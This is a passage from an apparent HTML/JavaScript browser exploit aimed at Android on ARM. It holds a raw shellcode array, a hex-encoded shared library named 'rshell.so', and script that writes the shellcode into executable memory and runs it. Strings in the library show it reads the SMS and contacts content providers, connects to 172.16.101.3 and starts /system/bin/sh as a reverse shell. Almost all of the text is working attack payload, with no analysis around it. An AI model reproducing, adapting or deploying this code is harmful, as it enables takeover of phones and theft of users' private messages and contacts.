64,0xc0,0xcd,0xe5,0x66,0x90,0xcd,0xe5,0x33,0xff,0x2f,0xe1,0xb2,0xe3,0xd5,0xe1,0x25,0x20,0xa0,0xe3,0x08,0x10,0xa0,0xe1,0x20,0xc0,0x95,0xe5,0xa8,0x90,0xcd,0xe5,0x78,0x30,0xa0,0xe3,0xa0,0x20,0xcd,0xe5,0x00,0xb0,0xa0,0xe1,0x02,0x00,0xa0,0xe3,0xa3,0x20,0xcd,0xe5,0x0e,0x81,0x8e,0xe0,0xa6,0x20,0xcd,0xe5,0x2c,0xe0,0xa0,0xe3,0x0c,0x20,0x85,0xe0,0xa1,0x30,0xcd,0xe5,0x88,0xc1,0x8c,0xe0,0xa2,0xe0,0xcd,0xe5,0xa5,0xe0,0xcd,0xe5,0x05,0xc0,0x8c,0xe0,0x14,0x20,0x8d,0xe5,0xa0,0x20,0x8d,0xe2,0x10,0x80,0x9c,0xe5,0xa4,0x30,0xcd,0xe5,0xa7,0x30,0xcd,0xe5,0x05,0x30,0xa0,0xe1,0x00,0xc0,0x8d,0xe5,0x0c,0xc0,0x9d,0xe5,0x08,0xe0,0x85,0xe0,0x6d,0x80,0xa0,0xe3,0x04,0xe0,0x8d,0xe5,0x08,0xe0,0x8d,0xe5,0x3c,0xff,0x2f,0xe1,0x64,0xe0,0xa0,0xe3,0x73,0x00,0xa0,0xe3,0x86,0x80,0xcd,0xe5,0x2e,0x30,0xa0,0xe3,0x79,0x20,0xa0,0xe3,0x83,0xa0,0xcd,0xe5,0x65,0x10,0xa0,0xe3,0x81,0xe0,0xcd,0xe5,0x67,0xc0,0xa0,0xe3,0x84,0x00,0xcd,0xe5,0x70,0x80,0xa0,0xe3,0x89,0xe0,0xcd,0xe5,0x6f,0xe0,0xa0,0xe3,0x8c,0x00,0xcd,0xe5,0x6c,0x00,0xa0,0xe3,0x8b,0xa0,0xcd,0xe5,0x8d,0x70,0xcd,0xe5,0x8e,0x60,0xcd,0xe5,0x49,0xc0,0xcd,0xe5,0x5f,0xc0,0xa0,0xe3,0x4a,0xe0,0xcd,0xe5,0x64,0xe0,0xa0,0xe3,0x4b,0x70,0xcd,0xe5,0xad,0x60,0xcd,0xe5,0xaf,0x00,0xcd,0xe5,0xb1,0x80,0xcd,0xe5,0x69,0x80,0xa0,0xe3,0xb2,0x00,0xcd,0xe5,0xb3,0x70,0xcd,0xe5,0xb9,0x60,0xcd,0xe5,0x82,0x20,0xcd,0xe5,0x85,0x20,0xcd,0xe5,0x8a,0x20,0xcd,0xe5,0x87,0x90,0xcd,0xe5,0x8f,0x90,0xcd,0xe5,0x4c,0x90,0xcd,0xe5,0xb4,0x90,0xcd,0xe5,0x80,0x30,0xcd,0xe5,0x88,0x30,0xcd,0xe5,0x48,0x30,0xcd,0xe5,0xac,0x30,0xcd,0xe5,0xb0,0x30,0xcd,0xe5,0xb8,0x30,0xcd,0xe5,0xae,0x10,0xcd,0xe5,0xba,0x10,0xcd,0xe5,0xbb,0x00,0xcd,0xe5,0xb0,0x03,0xd5,0xe1,0xbe,0x20,0xcd,0xe5,0xbf,0xa0,0xcd,0xe5,0xc6,0xa0,0xcd,0xe5,0x61,0xa0,0xa0,0xe3,0xc8,0x70,0xcd,0xe5,0x09,0x00,0x50,0xe1,0xcb,0x60,0xcd,0xe5,0xcc,0x60,0xcd,0xe5,0xce,0x20,0xcd,0xe5,0x64,0x20,0xa0,0xe3,0xd3,0x70,0xcd,0xe5,0x6c,0x70,0xa0,0xe3,0xd6,0x60,0xcd,0xe5,0xda,0x60,0xcd,0xe5,0x6f,0x60,0xa0,0xe3,0xc9,0xc0,0xcd,0xe5,0x08,0xc0,0x9d,0xe5,0xbc,0x30,0xcd,0xe5,0xbd,0xe0,0xcd,0xe5,0xc0,0x90,0xcd,0xe5,0xc4,0x30,0xcd,0xe5,0xc5,0x80,0xcd,0xe5,0xc7,0x80,0xcd,0xe5,0xca,0xa0,0xcd,0xe5,0xcd,0xa0,0xcd,0xe5,0xcf,0x90,0xcd,0xe5,0xd0,0x30,0xcd,0xe5,0xd1,0x20,0xcd,0xe5,0xd2,0xa0,0xcd,0xe5,0xd4,0xa0,0xcd,0xe5,0xd5,0x30,0xcd,0xe5,0xd7,0x10,0xcd,0xe5,0xd8,0x70,0xcd,0xe5,0xd9,0x30,0xcd,0xe5,0xdb,0x60,0xcd,0xe5,0xdc,0x90,0xcd,0xe5,0xb1,0x00,0x00,0x0a,0x48,0x10,0x8d,0xe2,0xc4,0x60,0x8d,0xe2,0x14,0x70,0x9d,0xe5,0x80,0x20,0x8d,0xe2,0x88,0x30,0x8d,0xe2,0x14,0x90,0x8d,0xe5,0x24,0x90,0x8d,0xe5,0x09,0x80,0xa0,0xe1,0xac,0x00,0x8d,0xe2,0x0c,0x10,0x8d,0xe5,0xb8,0xe0,0x8d,0xe2,0xd0,0x10,0x8d,0xe2,0x38,0x60,0x8d,0xe5,0x03,0xa0,0xa0,0xe1,0x0c,0x60,0xa0,0xe1,0x3c,0x90,0x8d,0xe5,0x1c,0x90,0x8d,0xe5,0x02,0x90,0xa0,0xe1,0x20,0x00,0x8d,0xe5,0x28,0xe0,0x8d,0xe5,0x40,0x10,0x8d,0xe5,0x44,0x40,0x8d,0xe5,0x00,0x40,0x97,0xe5,0x09,0x10,0xa0,0xe1,0x04,0x40,0x86,0xe0,0x04,0x00,0xa0,0xe1,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x1c,0x70,0x8d,0x05,0x1e,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0x0a,0x10,0xa0,0xe1,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x24,0x70,0x8d,0x05,0x18,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0x48,0x10,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x13,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0xac,0x10,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x14,0x70,0x8d,0x05,0x0d,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0xb8,0x10,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x3c,0x70,0x8d,0x05,0x07,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0xc4,0x10,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0x02,0x00,0x00,0x0a,0x04,0x00,0xa0,0xe1,0xd0,0x10,0x8d,0xe2,0x3b,0xff,0x2f,0xe1,0xb0,0xc3,0xd5,0xe1,0x01,0x80,0x88,0xe2,0x28,0x70,0x87,0xe2,0x0c,0x00,0x58,0xe1,0xd3,0xff,0xff,0xba,0x44,0x40,0x9d,0xe5,0x3c,0x90,0x9d,0xe5,0x1c,0xa0,0x9d,0xe5,0x14,0x20,0x9d,0xe5,0x24,0x80,0x9d,0xe5,0x14,0xe0,0x9d,0xe5,0x14,0xc0,0x92,0xe5,0x10,0x70,0x98,0xe5,0x10,0x30,0x9a,0xe5,0x10,0x60,0x9e,0xe5,0xac,0x21,0xb0,0xe1,0x07,0x70,0x85,0xe0,0x03,0x30,0x85,0xe0,0x06,0x60,0x85,0xe0,0x1b,0x00,0x00,0x0a,0x00,0x00,0xa0,0xe3,0x1c,0x90,0x8d,0xe5,0x14,0x80,0x9d,0xe5,0x00,0x90,0xa0,0xe1,0x14,0xa0,0x8d,0xe5,0x06,0xa0,0xa0,0xe1,0x03,0x60,0xa0,0xe1,0x0c,0x50,0x8d,0xe5,0x10,0x50,0x9d,0xe5,0x10,0xb0,0x8d,0xe5,0x04,0x10,0x9a,0xe5,0x00,0x00,0xe0,0xe3,0x01,0x90,0x89,0xe2,0x00,0xb0,0x9a,0xe5,0x08,0xa0,0x8a,0xe2,0x51,0x24,0xef,0xe7,0x02,0xe2,0x96,0xe7,0x0e,0x10,0x87,0xe0,0x35,0xff,0x2f,0xe1,0x0b,0x00,0x84,0xe7,0x14,0x10,0x98,0xe5,0xa1,0x01,0x59,0xe1,0xf2,0xff,0xff,0x3a,0x0c,0x50,0x9d,0xe5,0x06,0x30,0xa0,0xe1,0x10,0xb0,0x9d,0xe5,0x1c,0x90,0x9d,0xe5,0x14,0xa0,0x9d,0xe5,0x14,0x20,0x99,0xe5,0x10,0xc0,0x99,0xe5,0xa2,0x21,0xb0,0xe1,0x00,0x10,0xa0,0x13,0x0c,0xc0,0x85,0xe0,0x01,0x00,0xa0,0x11,0x0c,0x00,0x00,0x0a,0x01,0x20,0xa0,0xe1,0x01,0x00,0x80,0xe2,0x0c,0xe0,0xb2,0xe7,0x08,0x10,0x81,0xe2,0x04,0x20,0x92,0xe5,0x52,0x24,0xef,0xe7,0x02,0x22,0x83,0xe0,0x04,0x20,0x92,0xe5,0x04,0x20,0x82,0xe0,0x04,0x20,0x8e,0xe7,0x14,0xe0,0x99,0xe5,0xae,0x01,0x50,0xe1,0xf2,0xff,0xff,0x3a,0x14,0x00,0x9a,0xe5,0x37,0x0b,0x9f,0xed,0x20,0x22,0xb0,0xe1,0x1e,0x0b,0x8d,0xed,0x03,0x90,0xa0,0x11,0x00,0x80,0xa0,0x13,0x78,0x60,0x8d,0x12,0x04,0x00,0x00,0x1a,0x0d,0x00,0x00,0xea,0x14,0x10,0x9a,0xe5,0x10,0x90,0x89,0xe2,0x21,0x02,0x58,0xe1,0x09,0x00,0x00,0x2a,0x00,0x30,0x99,0xe5,0x06,0x10,0xa0,0xe1,0x01,0x80,0x88,0xe2,0x03,0x00,0x87,0xe0,0x3b,0xff,0x2f,0xe1,0x00,0x00,0x50,0xe3,0xf4,0xff,0xff,0x1a,0x04,0x70,0x99,0xe5,0x07,0x60,0x84,0xe0,0x01,0x00,0x00,0xea,0xcc,0x6c,0x0c,0xe3,0x16,0x68,0xdf,0xe7,0x05,0x30,0xa0,0xe1,0x00,0x40,0x8d,0xe5,0x70,0x10,0x8d,0xe2,0xe0,0x20,0x8d,0xe2,0x2c,0x40,0x9d,0xe5,0x02,0x00,0xa0,0xe3,0x34,0xff,0x2f,0xe1,0x18,0x50,0x9d,0xe5,0x08,0x00,0x85,0xe2,0x36,0xff,0x2f,0xe1,0x4f,0xdf,0x8d,0xe2,0xf0,0x8f,0xbd,0xe8,0x54,0x10,0x9f,0xe5,0x7f,0x45,0x04,0xe3,0x4c,0x46,0x44,0xe3,0x01,0x50,0x8f,0xe0,0x04,0x50,0x85,0xe2,0x04,0x70,0x15,0xe5,0xfa,0x0e,0x57,0xe3,0xfb,0xff,0xff,0x1a,0x00,0x80,0x95,0xe5,0x04,0x00,0x58,0xe1,0xf8,0xff,0xff,0x1a,0x77,0xfe,0xff,0xea,0x00,0x90,0xa0,0xe1,0x14,0x00,0x8d,0xe5,0x00,0xa0,0xa0,0xe1,0x24,0x00,0x8d,0xe5,0x00,0x20,0xa0,0xe1,0x00,0x80,0xa0,0xe1,0x00,0xe0,0xa0,0xe1,0x8d,0xff,0xff,0xea,0x00,0xf0,0x20,0xe3,0x73,0x6f,0x5f,0x6d,0x61,0x69,0x6e,0x00,0x88,0xf7,0xff,0xff,0x00,0xf0,0x20,0xe3,]; var so_str = "7f454c4601010100000000000000000003002800010000000000000034000000442100000000000534002000080028001600150006000000340000003400000034000000000100000001000004000000040000000300000034010000340100003401000013000000130000000400000001000000010000000000000000000000000000000112000001120000050000000010000001000000881e0000882e0000882e00007c010000800100000600000000100000020000008c1e00008c2e00008c2e00002801000028010000060000000400000051e574640000000000000000000000000000000000000000060000000000000001000070c40d0000c40d0000c40d00005800000058000000040000000400000052e57464881e0000882e0000882e0000780100007801000006000000040000002f73797374656d2f62696e2f6c696e6b657200000000000000000000000000000000000001000000000000000000000012000000100000000000000000000000120000001d000000000000000000000012000000340000000000000000000000120000004b00000000000000000000001200000073000000000000000000000012000000870000000000000000000000120000008e00000000000000000000001200000097000000150c00005c010000120008009f000000000000000000000012000000a4000000000000000000000012000000ab000000000000000000000012000000b5000000000000000000000012000000bc000000000000000000000012000000c4000000000000000000000012000000c9000000000000000000000012000000d0000000000000000000000012000000d7000000000000000000000012000000dc000000000000000000000012000000e100000004300000000000001000f1ffe800000004300000000000001000f1fff400000008300000000000001000f1ff005f5f6378615f66696e616c697a65005f5f6378615f617465786974005f5f61656162695f756e77696e645f6370705f707231005f5f61656162695f756e77696e645f6370705f707230005f5a4e37616e64726f69643134416e64726f696452756e74696d65396765744a4e49456e764576005f5f616e64726f69645f6c6f675f7072696e74006d616c6c6f6300736e7072696e746600736f5f6d61696e00666f726b0073797374656d00696e65745f6164647200736f636b657400636f6e6e6563740064757032006d656d7365740065786563766500667265650065786974005f6564617461005f5f6273735f7374617274005f656e64006c6962632e736f006c69626d2e736f006c6962737464632b2b2e736f006c69626d656469616e646b2e736f006c69627574696c732e736f006c696262696e6465722e736f006c69626d656469612e736f006c696273746167656672696768742e736f006c696273746167656672696768745f666f756e646174696f6e2e736f006c6962637574696c732e736f006c6962696e7075742e736f006c6962646c2e736f006c6962616e64726f69645f72756e74696d652e736f00727368656c6c2e736f0000110000001700000011000000140000000d000000000000000c000000050000000f000000000000000e0000000000000007000000150000001200000016000000020000000b00000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000300000008000000090000000a000000060000000000000000000000000000000000000010000000040000000000000013000000882e0000170000000030000017000000c02f000016010000c42f000016020000c82f000016050000cc2f000016060000d02f000016070000d42f000016080000d82f0000160a0000dc2f0000160b0000e02f0000160c0000e42f0000160d0000e82f0000160e0000ec2f0000160f0000f02f000016100000f42f000016110000f82f000016120000fc2f00001613000004e02de504e09fe50ee08fe008f0bee5f829000000c68fe202ca8ce2f8f9bce500c68fe202ca8ce2f0f9bce500c68fe202ca8ce2e8f9bce500c68fe202ca8ce2e0f9bce500c68fe202ca8ce2d8f9bce500c68fe202ca8ce2d0f9bce500c68fe202ca8ce2c8f9bce500c68fe202ca8ce2c0f9bce500c68fe202ca8ce2b8f9bce500c68fe202ca8ce2b0f9bce500c68fe202ca8ce2a8f9bce500c68fe202ca8ce2a0f9bce500c68fe202ca8ce298f9bce500c68fe202ca8ce290f9bce500c68fe202ca8ce288f9bce500c68fe202ca8ce280f9bce500482de904b08de20c309fe503308fe00300a0e1c9ffffeb0088bde86c29000000482de904b08de208d04de208000be508301be5000053e30100000a08301be533ff2fe104d04be20088bde800482de904b08de208d04de208000be528309fe503308fe00300a0e108101be51c309fe503308fe00320a0e1b3ffffeb0030a0e10300a0e104d04be20088bde8b8ffffff0829000008b503689a69904708bd10b50468d4f88440a04710bd0cb413b504ab046853f8042bd4f88c400193a04702b0bde8104002b070470cb413b504ab046853f8042bd4f898400193a04702b0bde8104002b070470cb413b504ab046853f8042bd4f8c8400193a04702b0bde8104002b070470cb413b504ab046853f8042bd4f8d4400193a04702b0bde8104002b070470cb413b504ab046853f8042bd4f8e0400193a04702b0bde8104002b070470cb413b504ab046853f8042bd4f8cc410193a04702b0bde8104002b0704700002de9f04f0746dff878a395b0fa44daf80030581ccaf80000fff7eeeed94904467944fff787ff216805462046d64ad74bd1f8c46129467a447b44b047024629462046fff7cdffd24981460620d14a4b4679447a44fff7d6eecf4920467944fff769ff226883462046cc4b5946d2f8c4c1cb4a7b447a44e0472368804639462046d3f89c52a84703464246c64d59462046fff7a6ffc449074620464ff0000b7d447944fff747ffc14a01462046c04b7a447b44fff744ff024649462046fff745ffbc49064620467944fff734ffba4a01462046ba4b7a447b44fff731ff02463b46cdf800b03146cdf804b02046cdf808b0b34fcdf80cb0fff728ffb249064620467f447944fff716ffaf4a80462b46414620467a44fff713ffac4a2b468146414620467a44fff70bffa94a08904146a94b20467a447b44fff702ffa74a3b460990414620467a44fff7fafea44a0a904146a34b20467a447b44fff7f1fea14a0b904146a14b20467a447b44fff7e8fe9f4a0c9041469e4b20467a447b44fff7dffe9c4a0d9041469c4b20467a447b44fff7d6fe9a4a3b460e90414620467a44fff7cefe974a41460f90964b20467a447b44fff7c5fe4ff40010fff72aee924a4ff400110746daf800307a44fff728ee0546314620464a46fff7c7fe002800f0c4808a48cdf814b08a497844794412901391c5f500117819129a059b4ff0000afff70eee059a3146804605442046531c099a0593fff7b8fe7f49079006207e4a079b79447a44fff7eeed7c487d497844794410901191079a924580f28e80baf1000f05ddb5f5001f02da2c237b55013531460a9a53462046fff778fe0690206800220699d0f8a43220469847814631460b9a069b2046fff787fe83460c9a20465b463146fff780fe04285bd8dfe800f0521803294d0031460d9a5b462046fff791fe07ee900a5f4a7819c5f500114b467a44f7eee70acded000bfff7b0ed40e00e9a5b4620463146fff76dfe574acde900014b467819c5f500117a44fff7a0ed2fe031460f9a5b462046fff72ffe2168844600222046d1f8a4326146cdf810c0984783460090c5f50011119a4b467819fff786ed226880462046ddf810c0d2f8a8325a46614698470ce07819c5f50011109a03e0139a7819c5f500114b46fff76eed804620684a46454406990af1010ad0f8a832204698476de720463146089afff703fe00287ff444af30492b460620304a79447a44fff746ed384615b0bde8f08f14280000180600001d0600002e060000320600003806000041060000410600003906000052070000390600004a0600005b060000690600007b0600007f06000020070000ca060000d2060000d2060000cd060000da060000ce060000e2060000ef060000f5060000fb060000f0060000f7060000ec060000f2060000e7060000e1060000e5060000cf060000bb060000f1060000620400008a060000a70600009f06000011060000ed05000012030000710500002de9f0410546474c8cb00620464a7c4421467a44fff7dcec444a21462b4606207a44fff7d6ec6b6921460620404a00932b697a44fff7ccec3e487844fff7c6fd07463d487844fff7c1fd0646fff7d2ec431c06d1394a214606207a44fff7b8ec00e050b136487844fff7caec35487844fff7c6ec0cb0bde8f081334d40f62c102146324a4ff00208009006207d442b467a44fff79eec42f609412846adf81080adf81210fff7b2ec0590012106224046fff7b2ec04a910220546fff7b4ec28b9234a062021467a44fff782ecdff8848028460021fff7acec28460121fff7a8ec002428460221f84408adfff7a2ec21461022cdf8088028460394fff7a0ec164a02a9404609970a967a4408922a46fff79cec3846fff79eec3046fff79cec2046fff79eec40020000a8040000ab040000b4040000c4040000c8040000da040000da040000f304000000050000e8040000d3040000c8040000b504000008b10181b0b000840000000003b10181b00cb1a80000000003b10181b00cb1a80000000003b10181b00cb1a80000000003b10181b00cb1a80000000003b10181b00cb1a80000000003b10181b00cb1a80000000050f9ff7fa8ffff7f52f9ff7fb0b0a88056f9ff7fa4ffff7f6cf9ff7fa8ffff7f82f9ff7facffff7f98f9ff7fb0ffff7faef9ff7fb4ffff7fc4f9ff7fb8ffff7fdcf9ff7fb0af148008feff7fb0ac0b805cffff7f01000000616e64726f69642f6170702f41637469766974795468726561640063757272656e744170706c69636174696f6e0028294c616e64726f69642f6170702f4170706c69636174696f6e3b006578706c6f6974006170706c69636174696f6e2069732025700a00616e64726f69642f6e65742f55726900706172736500284c6a6176612f6c616e672f537472696e673b294c616e64726f69642f6e65742f5572693b00616e64726f69642f636f6e74656e742f436f6e746578745772617070657200676574436f6e74656e745265736f6c7665720028294c616e64726f69642f636f6e74656e742f436f6e74656e745265736f6c7665723b00616e64726f69642f636f6e74656e742f436f6e74656e745265736f6c76657200717565727900284c616e64726f69642f6e65742f5572693b5b4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f537472696e673b294c616e64726f69642f64617461626173652f437572736f723b00616e64726f69642f64617461626173652f437572736f72006d6f7665546f46697273740028295a006d6f7665546f4e65787400676574436f6c756d6e436f756e740028294900676574436f6c756d6e4e616d65002849294c6a6176612f6c616e672f537472696e673b00676574436f6c756d6e496e64657800284c6a6176612f6c616e672f537472696e673b29490067657454797065002849294900676574466c6f61740028492946006765744c6f6e67002849294a00676574537472696e6700636c6f7365002829560070726f766964657225643d000a726f772025643a00636f6c756d6e436f756e742069732025640a0025733d25660025733d256c6c640025733d25730025733d424c4f420025733d4e554c4c006c656e2069732025640a00656e7465722073656e646970632e736f006172726179206275666665722061646472657373206174202570006e632066696c652061742025702c6c656e20697320256400636f6e74656e743a2f2f736d7300636f6e74656e743a2f2f636f6d2e616e64726f69642e636f6e74616374732f636f6e746163747300666f726b206661696c6564006c6f67202d74206578706c6f69742060706d206c697374207061636b61676560006c6f67202d74206578706c6f697420606c73202e2f600069702069732025732c706f7274206973202564003137322e31362e3130312e3300636f6e6e656374207375636365737366756c6c79002f73797374656d2f62696e2f736800504154483d2f73797374656d2f62696e3a2f73797374656d2f7862696e3a2f62696e3a2f7573722f62696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008006000003000000b42f00000200000080000000170000002c0500001400000011000000110000001c05000012000000100000001300000008000000faffff6f0200000006000000480100000b0000001000000005000000b80200000a000000bb010000040000007404000001000000f900000001000000010100000100000009010000010000001601000001000000250100000100000031010000010000003e010000010000004a010000010000005c010000010000007901000001000000860100000100000092010000010000009b0100000e000000b10100001a000000882e00001c000000040000001e00000008000000fbffff6f01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac050000ac05000000300000004743433a2028474e552920342e3800040000000900000004000000474e5500676f6c6420312e3131000000413d00000061656162690001330000000541524d20763700060a0741080109020a030c011102120414011501170318011a021b031e0622012a012c024403727368656c6c2e736f0000006158a70b002e7368737472746162002e696e74657270002e64796e73796d002e64796e737472002e68617368002e72656c2e64796e002e72656c2e706c74002e74657874002e41524d2e6578746162002e41524d2e6578696478002e726f64617461002e66696e695f6172726179002e64796e616d6963002e676f74002e64617461002e627373002e636f6d6d656e74002e6e6f74652e676e752e676f6c642d76657273696f6e002e41524d2e61747472696275746573002e676e755f64656275676c696e6b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000010000000200000034010000340100001300000000000000000000000100000000000000130000000b00000002000000480100004801000070010000030000000100000004000000100000001b0000000300000002000000b8020000b8020000bb010000000000000000000001000000000000002300000005000000020000007404000074040000a8000000020000000000000004000000040000002900000009000000020000001c0500001c05000010000000020000000000000004000000080000003200000009000000020000002c0500002c0500008000000002000000070000000400000008000000360000000100000006000000ac050000ac050000d4000000000000000000000004000000000000003b00000001000000060000008006000080060000f006000000000000000000000400000000000000410000000100000002000000700d0000700d000054000000000000000000000004000000000000004c0000000100007082000000c40d0000c40d000058000000080000000000000004000000080000005700000001000000320000001c0e00001c0e0000e5030000000000000000000001000000010000005f0000000f00000003000000882e0000881e000004000000000000000000000004000000000000006b00000006000000030000008c2e00008c1e00002801000003000000000000000400000008000000740000000100000003000000b42f0000b41f00004c00000000000000000000000400000000000000790000000100000003000000003000000020000004000000000000000000000004000000000000007f000000080000000300000004300000042000000400000000000000000000000400000000000000840000000100000030000000000000000420000010000000000000000000000001000000010000008d000000070000000000000000000000142000001c00000000000000000000000400000000000000a4000000030000700000000000000000302000003e00000000000000000000000100000000000000b40000000100000000000000000000006e2000001000000000000000000000000100000000000000010000000300000000000000000000007e200000c300000000000000000000000100000000000000";function write_shellcode(dlsym_addr,buffer){ //ldr r0,[pc,4]//0xe59f0004 //ldr r1,[pc,4]//0xe59f1004 //b shellcode;//0xea000001 //dlopen_addr//normalArrayBufferBackingStore //dlsym_addr //shellcode //var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr]; var stub=[0xe59f0004,0xe59f1004,0xea000001,normalArrayBufferBackingStore,normalArrayBufferLength]; var dv = get_dateview(buffer); for(var i=0;i<stub.length;i++){ get_dateview(buffer).setUint32(i*4,stub[i],true); } dv =get_dateview(buffer+stub.length*4); for(var i=0;i<shellcode.length;i++){ dv.setUint8(i,shellcode[i]); } return stub.length*4+shellcode.length; } function backup_original_code(start_address){ var backup_arr = []; for(var i=0;i<shellcode.length+4096;i++){ backup_arr[i]=get_dateview(start_address).getUint8(i); } return backup_arr; } function restore_original_code(start_address,backup_arr){ for(var i=0;i<shellcode.length+4096;i++){ get_dateview(start_address).setUint8(i,backup_arr[i]); } } var backup_arr=backup_original_code(rwxAddress); var writed_len = write_shellcode(dlsym_addr,rwxAddress); var args_view = new DataView(normalArrayBuffer,0,32); var so_file_view = new DataView(normalArrayBuffer,4096); var js_view = new DataView(normalArrayBuffer,0x100000); args_view.setUint32(0,dlsym_addr+12,true); args_view.setUint32(4,dlsym_addr,true); args_view.setUint32(8,rwxAddress,true); args_view.setUint32(12,writed_len,true); args_view.setUint32(16,normalArrayBufferBackingStore+4096,true); args_view.setUint32(20,so_str.length/2,true); //args_view.setUint32(24,normalArrayBufferBackingStore+0x100000,true); //args_view.setUint32(28,js_str.length,true); log("length is "+so_str.length); for(var i=0;i<so_str.length;i+=2){ var value = so_str.substr(i,2); value = "0x"+value; so_file_view.setUint8(i/2,parseInt(value)); } huge_func({}); restore_original_code(rwxAddress,backup_arr); /*setInterval(function () { document.getElementById("message").innerHTML= String.fromCharCode.apply(null, new Uint8Array(normalArrayBuffer,128,3000)); //log(String.fromCharCode.apply(null, new Uint8Array(normalArrayBuffer,128,1024))); }, 1000);*/ </script> </html>
